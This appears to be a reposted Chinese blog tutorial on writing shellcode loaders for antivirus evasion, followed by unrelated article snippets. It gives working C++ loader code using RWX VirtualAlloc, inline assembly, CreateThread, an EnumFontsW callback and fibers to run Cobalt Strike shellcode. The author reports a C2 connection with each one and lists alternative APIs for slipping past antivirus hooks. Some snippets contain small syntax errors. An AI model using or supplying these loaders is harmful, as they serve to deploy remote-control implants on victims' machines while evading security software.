免杀笔记 ----> ShellCode Loader !!!

news2024/11/26 23:23:18

学了那么久的前置知识,终于到了能上线的地方了!!!     

不过这里还没到免杀的部分,距离bypass一众的杀毒软件还有很长的路要走!! 

目录

1.ShellCode

2.ShellCode Loader的概念

3.可读可写可执行

4.ShellCode Loader的类型

1.指针调用

2.汇编调用

3.新建线程调用

4.回调函数

5.纤程加载

1.ShellCode

在学shellcode loader之前,我们得去先了解一下什么是ShellCode

Shellcode 是一段被设计成能够被计算机上的某个程序或系统调用执行的机器码。通常,Shellcode 的目标是利用操作系统或应用程序中的漏洞或弱点,以便于执行特定的任务,比如获取系统权限、执行远程命令、窃取信息等。

如果我们去看一个普通的木马的话(不考虑一些骚操作的执行的话)我们一般都是能看见这样的结构的! 

或者我们直接去CS上也是能直接去生成一段裸的代码的话也是能看见我们的ShellCode的

生成出来的文件就是我们的Shell Code

2.ShellCode Loader的概念

有了ShellCode的知识的铺垫之后,我们就可以去讲我们的ShellCode Loade了

Shellcode loader(Shellcode加载器)是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。

当然了,一个木马并不是一定需要shellcode loader的!!! 

3.可读可写可执行

我们的ShellCode一定是要一块可读可写可执行的内存,那么我们怎么样才能拿到一块可读可写的内存呢????   那么下面,我们先来介绍一个Windows的API!!!

VirtualAlloc   //虽然这个API被杀的很死

我们去MSDN看看对应这个API的解释

VirtualAlloc 是Windows操作系统中的一个函数,用于在进程的虚拟地址空间中分配内存。它的作用是动态地为程序分配一块指定大小的内存区域,这块内存可以用于存储数据或者执行代码。

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
  • lpAddress: 指定要分配的内存区域的起始地址。如果为 NULL,系统会自动选择一个合适的地址。
  • dwSize: 指定要分配的内存区域的大小(以字节为单位)。
  • flAllocationType: 指定分配类型,如 MEM_COMMIT 表示分配物理存储器并将其初始化为零,MEM_RESERVE 表示为内存区域保留地址空间而不实际分配物理存储器等。
  • flProtect: 指定内存保护属性,如 PAGE_EXECUTE_READWRITE 表示可执行内存并且可读写等。

并且它的返回类型是LPVOID 所以我们就可以用 void* 或者直接PVOID去接受它的返回地址

那么下面我们就来申请一块可读可写可执行的内存

void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这样,我们的指针p就执行了一块可读可写可执行的内存地址的首地址

4.ShellCode Loader的类型

1.指针调用

首先我们申请一块内存肯定就不说了,然后我们需要将我们的ShellCode复制到这块内存上

  • Memcpy
void* memcpy(void* destination, const void* source, size_t num);

所以我们的代码就可以初见端倪了

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(p, buf, sizeof(buf));

当然了,memcpy是有返回值的,我们还可以写一段代码判断一下是否copy成功

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{
	cout << "Memcpy OK :)" << endl;
}
else
{
	cout << "Memcpy Failed :("<<endl;
}

执行结果如下

然后就是去执行了,怎么执行呢?? 这里我闷给出一种格式

((void(*)())p)();
  • void(*)() 这是一个不返回任何值的函数指针的声明、
  • ((void(*)())p) 这是强制将 p 转换成void(*)()的指针类型
  • 然后((void(*)())p) () 就是函数调用

所以我们的完整的代码就是

	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (memcpy(p, buf, sizeof(buf)))
	{
		cout << "Memcpy OK :)" << endl;
	}
	else
	{
		cout << "Memcpy Failed :("<<endl;
	}
	((void(*)())p)();

当我们运行一下的时候,就能看见CS上线了!!!!!(终于上线了)

当然了,这样是绝对不免杀的(如果这免杀就离大谱了)

2.汇编调用

首先声明一下在64位的程序下,是不能直接写汇编的,所以我们一般都是用的32位的Shellcode

然后我们就来看以下代码

	__asm
	{
		lea eax, buf;
		call eax;
	}

这段代码其实就是将BUF的地址给了eax ,然后直接用call 函数去执行 buf 地址的函数(强制改变它的EIP)

但是你会发现这样是不会上线的!!  因为我们的ShellCode 是放在了全局变量初,这块内存可读可写,但是不可执行!!!!  所以我们的代码时没有用的!!! 我们必须通过一行代码来让这块内存RWX

#pragma comment(linker, "/section:.data,RWE")

 所以我们的代码就变成了这样

#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int  main()
{
	__asm
	{
		lea eax, buf;
		call eax;
	}

	return 0;
}

这样,就能上线了!!!

3.新建线程调用

创建线程会在新的线程上下文中执行 shellcode,这意味着 shellcode 的执行环境与主程序的环境是隔离的。如果 shellcode 导致了异常或者崩溃,主程序通常不会受到直接影响,而是会在独立的线程中进行处理。

我们首先来贴一段代码,然后再来对这段代码进行解释

unsigned char buf[] = "shellcode";   
int main()
{
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(shellcode, buf, sizeof(buf));
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

上面大部分代码我们都是很熟悉的,这里我们要说的一下的就是我们的这个也是被杀的API

  • CreateThread
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

其中对于各个参数的解释

  • lpThreadAttributes:线程安全属性,通常为 NULL
  • dwStackSize:新线程的栈大小,通常为 0 表示使用默认大小。
  • lpStartAddress:线程函数的地址,即新线程将从这个函数开始执行。
  • lpParameter:传递给线程函数的参数,可以是任意类型的数据。
  • dwCreationFlags:线程创建的标志,通常为 0
  • lpThreadId:输出参数,用于接收新线程的ID。

其中比较重要的就是lpStartAddress,lpThreadId。分别也就对应了我们的两个变量。 其中ID就没什么好说的了,我们来说一下那个线程函数的地址

(LPTHREAD_START_ROUTINE)shellcode 的作用是将 shellcode强制转换为LPTHREAD_START_ROUTINE 类型的函数指针。这样,在调用 CreateThread 函数时,可以将转换后的函数指针作为线程的入口点,使得新线程从 shellcode 函数开始执行。

然后还有一个函数就是

  • WaitForSingleObject()

WaitForSingleObject() 是一个用于等待一个指定的对象(如线程、进程、事件、互斥体等)进入 signaled 状态的函数。

  • hHandle:要等待的对象的句柄(handle)。可以是线程句柄、进程句柄、事件句柄等。
  • dwMilliseconds:等待的超时时间,单位是毫秒。如果设为 INFINITE(-1),表示无限等待,直到对象变为 signaled 状态。

这样,我们就能看懂我们一开始写的代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";

int main()
{
	DWORD id;
	HANDLE thread;
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);
	WaitForSingleObject(thread, INFINITE);
	return 0;
}

也是能成功上线的!!!!!  

当然了,这也是不免杀的,只是一个loader而已

4.回调函数

还记得以前还没学习免杀的时候,就听过回调函数的大名,但是不知道现在回调函数的效果怎么样了!!   我们先来了解一下什么是回调函数

"回调函数" 是一种在编程中常见的概念,特别是在事件驱动的编程模型中经常用到。它指的是一种函数,通常作为参数传递给另一个函数,并在特定事件发生时由另一个函数调用(即“回调”),以便处理该事件或者进行适当的响应。

听不太懂? 没事,我用人话翻译一下

利用某些系统或应用程序接口(API),将 shellcode 的地址注册为回调函数。当特定条件满足时,系统或应用程序会调用该回调函数,从而间接执行 shellcode。

那么,他和上面的几种运行Shellcode的方式有什么不同呢?? 

隐蔽性强:通过合法的系统接口间接执行 shellcode,可以绕过一些安全检测和监控机制,因为通常系统并不会怀疑合法接口的使用。

对于直接操作内存,现代操作系统和安全软件可能会监视和拦截直接执行 shellcode 的操作,认为这是恶意行为,而通过回调函数,有可能AV并没有Hook这些函数,所以我们就能成功的运行ShellCode !! 

那么我们先来贴一段代码

#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {
    LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    memcpy(address, shellcode, sizeof(shellcode));
    HDC dc = GetDC(NULL);
    EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
    return 0;
}

前面两段我们非常熟悉,不多说,我们说说后面的部分!

HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);

首先通过GetDC获取屏幕设备的上下文句柄。

然后通过EnumFontsW这个函数在枚举每一个字体的时候,调用我们的Shellcode这个函数!!

所以就能看得懂我们这一段loader了

int main()
{
	
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	HDC dc = GetDC(NULL);
	EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);

	return 0;
}

 也是成功上线

当然了,回调函数还有很多,我们替换就是了

1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()

5.纤程加载

这个我在我之前的Blog也说过一下(不过当时我并不懂是什么意思),现在我们可以来看看了

纤程是什么? 纤程是一种用户模式下的执行单元,不同于操作系统内核管理的线程。它由用户代码显式地创建和管理,而不像线程那样由操作系统内核来调度和管理。

我们还是来贴一段上线的代码

int main() {
    UCHAR buf[] = "";
    DWORD oldProtect;
    BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,
    PAGE_EXECUTE_READWRITE,&oldProtect);
    PVOID mainFiber = ConvertThreadToFiber(NULL);
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
    SwitchToFiber(shellcodeFiber);
    DeleteFiber(shellcodeFiber);
}

其实前面还是换汤不换药,我们直接来讲一下后面的新代码

    PVOID mainFiber = ConvertThreadToFiber(NULL);
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
    SwitchToFiber(shellcodeFiber);
    DeleteFiber(shellcodeFiber);
  • ConvertThreadToFiber(NULL)函数将当前线程转换为主纤程。主纤程是在进程初始化时自动创建的纤程,它可以让当前线程参与到纤程的调度中。
  • CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL); 函数用于创建一个新的纤程。
  • SwitchToFiber(shellcodeFiber); 函数将当前线程切换到指定的纤程

所以我们就能看懂那一段代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	void* mainfiber = ConvertThreadToFiber(NULL);
	void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);
	SwitchToFiber(shellfiber);

	return 0;
}

也是能成功上线的

当然了,Shellcode Loader还有很多的类型,这里只是介绍了一些最简单的Loader ,想免杀的话,你可以最简单的替换一下函数

GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()

当然了,最简单的换函数肯定是不能过的,接着你可以隐藏导入表(这个我后面找时间更新!!)

当然了,就算隐藏了导入表也是无法完成免杀的,所以怎么免杀 ?? 我们后面来说 !!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1897549.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android实现获取本机手机号码

和上次获取设备序列号一样&#xff0c;仍然是通过无障碍服务实现&#xff0c;在之前的代码基础上做了更新。代码和demo如下&#xff1a; package com.zwxuf.lib.devicehelper;import android.accessibilityservice.AccessibilityService; import android.app.Activity; import…

Java中使用arima预测未来数据

看着已经存在的曲线图数据&#xff0c;想预估下后面曲线图的数据。 import java.util.Vector;public class AR {double[] stdoriginalData{};int p;ARMAMath armamathnew ARMAMath();/*** AR模型* param stdoriginalData* param p //p为MA模型阶数*/public AR(double [] stdori…

Dungeonborne延迟高?降低Dungeonborne延迟的方法分享

Dungeonborne是Mithril Interactive开发并发行的一款沉浸式第一人称 PvPvE 地下城探险游戏。Dungeonborne的魅力并不仅仅在于战斗和冒险。游戏中的剧情设计同样引人入胜&#xff0c;每个NPC都有自己独特的故事和背景&#xff0c;玩家在与他们交流的过程中&#xff0c;不仅能了解…

Tomcat(+Servlet)笔记+代码

Tomcat安装和配置 安装在不含中文的路径&#xff0c;路径不能太长 Apache 官网&#x1f447; Apache Tomcat - Welcome! 配置部分 点击下图红框处&#xff0c;找到Tomcat安装位置 添加项目的文件 配好的话&#xff0c;红框这里有个猫 代码部分 新建jsp文件&#xff0c;里…

【码银送书第二十二期】《Python数据分析从入门到精通(第2版)》

&#x1f490;大家好&#xff01;我是码银~&#xff0c;欢迎关注&#x1f490;&#xff1a; CSDN&#xff1a;码银 公众号&#xff1a;码银学编程 前言 &#x1f340;丛书说明&#xff1a;“软件开发视频大讲堂‘’丛书第1版于2008年8月出版&#xff0c;因其编写细腻、易学实用…

字符串函数5-9题(30 天 Pandas 挑战)

字符串函数 1. 相关知识点1.5 字符串的长度条件判断1.6 apply映射操作1.7 python大小写转换1.8 正则表达式匹配2.9 包含字符串查询 2. 题目2.5 无效的推文2.6 计算特殊奖金2.7 修复表中的名字2.8 查找拥有有效邮箱的用户2.9 患某种疾病的患者 1. 相关知识点 1.5 字符串的长度条…

Orangepi配合IIC驱动OLED屏幕

目录 一、OLED屏幕 二、Orangepi的IIC接口及OLED屏幕硬件接线 2.1 Orangepi的IIC接口&#xff1a; 2.2 Orangepi与OLED屏幕硬件接线&#xff1a; 三、wiringPi库示例代码 3.1 wiringPi库OLED屏幕示例代码&#xff1a; 3.2 OLED显示自己想要的字符&#xff1a; 一、OLED屏…

E2.【C语言】练习:static部分

#include <stdio.h> int sum(int a) {int c 0;static int b 3;c 1;b 2;return (a b c); } int main() {int i;int a 2;for (i 0; i < 5;i){printf("%d ", sum(a));} } 求执行结果 c是auto类变量(普通的局部变量)&#xff0c;自动产生&#xff0c…

第26篇 寻找最大数<一>

Q&#xff1a;如何设计一段汇编语言子程序并调用来寻找一组数中的最大数呢&#xff1f; A&#xff1a;基本原理&#xff1a;可以使用子程序LARGE实现找到列表中最大数的功能。主程序通过寄存器将列表的条目数和起始地址作为参数传递给子程序&#xff0c;子程序通过寄存器将最大…

qt 如果把像素点数据变成一个图片

1.概要 图像的本质是什么&#xff0c;就是一个个的像素点&#xff0c;对与显示器来说就是一个二维数组。无论多复杂的图片&#xff0c;对于显示器来说就是一个二维数组。 2.代码 #include "widget.h"#include <QApplication> #include <QImage> #incl…

Springboot学习之用EasyExcel4导入导出数据(基于MyBatisPlus)

一、POM依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><m…

Linux系统之安装Ninvaders太空入侵者小游戏

Linux系统之安装Ninvaders太空入侵者小游戏 一、Ninvaders小游戏介绍1.1 Ninvaders小游戏简介1.2 项目预览 二、本次实践介绍2.1 本地环境规划2.2 本次实践介绍 三、检查系统镜像源3.1 检查系统镜像源3.2 更新软件列表 四、安装Ninvaders4.1 安装Ninvaders4.2 启动Ninvaders游戏…

Python酷库之旅-第三方库Pandas(004)

目录 一、用法精讲 5、pandas.DataFrame.to_csv函数 5-1、语法 5-2、参数 5-3、功能 5-4、返回值 5-5、说明 5-6、用法 5-6-1、代码示例 5-6-2、结果输出 6、pandas.read_fwf函数 6-1、语法 6-2、参数 6-3、功能 6-4、返回值 6-5、说明 6-6、用法 6-6-1、代码…

视频共享融合赋能平台LnyonCVS国标视频监控平台包含哪些功能

随着国内视频监控应用的迅猛发展&#xff0c;系统接入规模不断扩大。不同平台提供商的接入协议各不相同&#xff0c;导致终端制造商在终端维护时需要针对不同平台的软件版本提供不同的维护&#xff0c;资源造成了极大的浪费。 为响应国家对重特大事件通过视频监控集中调阅来掌…

数字信号处理实验二(模拟信号采样与重构及频谱分析FFT)

模拟信号采样与重构及频谱分析FFT&#xff08;2学时&#xff09; 要求&#xff1a; 对一模拟信号进行采样&#xff1b;对该采样信号进行重构&#xff1b;分析它们的频谱特征。目的&#xff1a; 熟悉MATLAB命令和编辑、运行、调试环境&#xff1b;掌握采样定理及对信号的频谱分析…

springboot高校合同信息管理系统-计算机毕业设计源码02888

摘要 随着高校规模的不断扩大和合作伙伴关系的增加&#xff0c;高校合同管理变得更加复杂和重要。传统的人工合同管理方式已经无法满足高校庞大的合同数量和复杂的合同流程需求。因此&#xff0c;借助信息技术来构建一个高校合同信息管理系统&#xff0c;并结合数据统计功能&am…

【数据分析】评估清理数据实战【淘宝母婴购物数据集】

概述 Ali_Mum_Baby 是一个数据集&#xff0c;其中包含 900 多万条儿童信息&#xff08;生日和性别&#xff09;&#xff0c;这些信息由消费者提供&#xff0c;他们分享这些信息是为了获得更好的推荐或搜索结果。 数据说明 它包含消费者在淘宝或天猫上提供的 9,000,000 多个儿…

新港海岸NCS8822 低功耗DP转VGA 分辨率支持1920*1200*60HZ

NCS8822描述&#xff1a; NCS8822是一个低功耗显示端口到vga转换器。NCS8822集成了一个与DP1.2兼容的接收器和一个高速三通道视频DAC。对于DP1.2输入&#xff0c;NCS8822支持1车道/2车道&#xff0c;也支持车道交换功能。对于VGA输出NCS8822&#xff0c;在60Hz帧率下对WUXGA&a…

【Linux系统】CUDA的安装与graspnet环境配置遇到的问题

今天在安装环境时遇到报错&#xff1a; The detected CUDA version (10.1) mismatches the version that was used to compile PyTorch (11.8). Please make sure to use the same CUDA versions. 报错原因&#xff1a;安装的cuda版本不对应&#xff0c;我需要安装cuda的版本…

西门子PLC1200--与电脑S7通讯

硬件构成 PLC为西门子1211DCDCDC 电脑上位机用PYTHON编写 二者通讯用网线&#xff0c;通讯协议用S7 PLC上的数据 PLC上的数据是2个uint&#xff0c;在DB1&#xff0c;地址偏移分别是0和2 需要注意的是DB块要关闭优化的块访问&#xff0c;否则是没有偏移地址的 PLC中的数据内…